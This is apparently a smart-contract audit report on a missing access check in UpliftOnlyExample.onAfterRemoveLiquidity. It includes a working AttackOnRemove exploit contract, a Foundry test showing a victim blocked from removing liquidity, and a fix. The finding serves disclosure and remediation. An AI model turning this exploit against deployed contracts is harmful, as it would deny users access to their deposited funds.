Summary
Attacker can decrease depositLength of any user to prevent them from removing liquidity (if quantAMMSwapFeeTake equals 0 as in tests).
I couldn't find much information about quantAMMSwapFeeTake except for its reference in the tests. If it is set to 0 on the first launch of the protocol, then this is a high-severity issue. Otherwise, I would classify it as medium severity.
(If quantAMMSwapFeeTake != 0 attaker should have enough of minBptAmountOut: localData.feeAmount.mulDown(localData.adminFeePercent) / 1e18 in UpliftOnlyExample.sol:onAfterRemoveLiquidity())
In the UpliftOnlyExample.sol:removeLiquidityProportional() there is requirement on depositLength:
function removeLiquidityProportional(
uint256 bptAmountIn,
uint256[] memory minAmountsOut,
bool wethIsEth,
address pool
) external payable saveSender(msg.sender) returns (uint256[] memory amountsOut) {
uint depositLength = poolsFeeData[pool][msg.sender].length;
if (depositLength == 0) {
revert WithdrawalByNonOwner(msg.sender, pool, bptAmountIn);
}
...
}
This depositLength (feeDataArray.length) can be decreased in UpliftOnlyExample.sol:onAfterRemoveLiquidity() function:
function onAfterRemoveLiquidity(
address router,
address pool,
RemoveLiquidityKind,
uint256 bptAmountIn,
uint256[] memory,
uint256[] memory amountsOutRaw,
uint256[] memory,
bytes memory userData
) public override onlySelfRouter(router) returns (bool, uint256[] memory hookAdjustedAmountsOutRaw) {
address userAddress = address(bytes20(userData));
...
FeeData[] storage feeDataArray = poolsFeeData[pool][userAddress];
...
if (feeDataArray[i].amount <= localData.amountLeft) {
uint256 depositAmount = feeDataArray[i].amount;
localData.feeAmount += (depositAmount * feePerLP);
localData.amountLeft -= feeDataArray[i].amount;
lpNFT.burn(feeDataArray[i].tokenID);
delete feeDataArray[i];
feeDataArray.pop();
if (localData.amountLeft == 0) {
break;
}
} else {
feeDataArray[i].amount -= localData.amountLeft;
localData.feeAmount += (feePerLP * localData.amountLeft);
break;
}
...
}
To achieve this attacker can create Attack contract (see in Vulnerability Details) and call UpliftOnlyExample.sol:onAfterRemoveLiquidity() function without losing any of his funds.
Vulnerability Details
Attacker can decrease depositLength of any user to prevent them from removing liquidity.
Attack Path:
Attacker chosing some victim that has tokens in the pool;
Deploying AttackOnRemove.sol contract;
Calling AttackOnRemove.sol:attack() function.
PoC:
Create AttackOnRemove.sol contract in pkg/pool-hooks/contracts/attack folder:
pragma solidity >=0.8.24;
import { UpliftOnlyExample, RemoveLiquidityKind } from "../hooks-quantamm/UpliftOnlyExample.sol";
import { IVault } from "@balancer-labs/v3-interfaces/contracts/vault/IVault.sol";
contract AttackOnRemove {
IVault targetVault;
UpliftOnlyExample uplift;
constructor(address _targetVault, address _uplift) {
targetVault = IVault(_targetVault);
uplift = UpliftOnlyExample(payable(_uplift));
}
function callUnlock(bytes calldata data) external {
(bool success, ) = address(targetVault).call(
abi.encodeWithSelector(bytes4(keccak256("unlock(bytes)")), data)
);
require(success, "Call to unlock failed");
}
function attack(bytes memory data) external returns (bytes memory) {
(
address router,
address pool,
RemoveLiquidityKind kind,
uint256 bptAmountIn,
uint256[] memory amountsUnused0,
uint256[] memory amountsOutRaw,
uint256[] memory amountsUnused1,
bytes memory userData
) = abi.decode(data, (address, address, RemoveLiquidityKind, uint256, uint256[], uint256[], uint256[], bytes));
uplift.onAfterRemoveLiquidity(
router,
pool,
kind,
bptAmountIn,
amountsUnused0,
amountsOutRaw,
amountsUnused1,
userData
);
return abi.encode(true);
}
}
Update UpliftExample.t.sol with this import and add testAttackOnRemoveLiquidityHook():
import { AttackOnRemove } from "../../contracts/attack/AttackOnRemove.sol";
function testAttackOnRemoveLiquidityHook() public {
AttackOnRemove attackOnRemove = new AttackOnRemove(address(vault), address(upliftOnlyRouter));
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
vm.prank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob).length, 1, "bptAmount mapping should be 1");
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].amount, bptAmount, "bptAmount mapping should be 0");
assertEq(
upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].blockTimestampDeposit,
block.timestamp,
"bptAmount mapping should be 0"
);
assertEq(
upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].lpTokenDepositValue,
500000000000000000,
"should match sum(amount * price)"
);
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob)[0].upliftFeeBps, 200, "fee");
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
uint256[] memory emptyArray;
bytes memory removeData = abi.encode(
address(upliftOnlyRouter),
pool,
RemoveLiquidityKind.CUSTOM,
uint256(2000000000000000000000),
emptyArray,
minAmountsOut,
emptyArray,
abi.encodePacked(address(bob))
);
bytes memory attackData = abi.encodeWithSelector(attackOnRemove.attack.selector, removeData);
vm.startPrank(alice);
attackOnRemove.callUnlock(attackData);
vm.stopPrank();
vm.startPrank(bob);
vm.expectRevert(abi.encodeWithSelector(UpliftOnlyExample.WithdrawalByNonOwner.selector, bob, pool, bptAmount));
upliftOnlyRouter.removeLiquidityProportional(bptAmount, minAmountsOut, false, pool);
vm.stopPrank();
}
In cmd run following command:
forge test --mt testAttackOnRemoveLiquidityHook
Output:
Ran 1 test for test/foundry/UpliftExample.t.sol:UpliftOnlyExampleTest
[PASS] testAttackOnRemoveLiquidityHook() (gas: 968640)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 27.03ms (1.74ms CPU time)
Impact
An attacker can block users from removing liquidity from the pool
Tools Used
Manual Review
Recommendations
Add Access control so only Vault to be able to call this hook
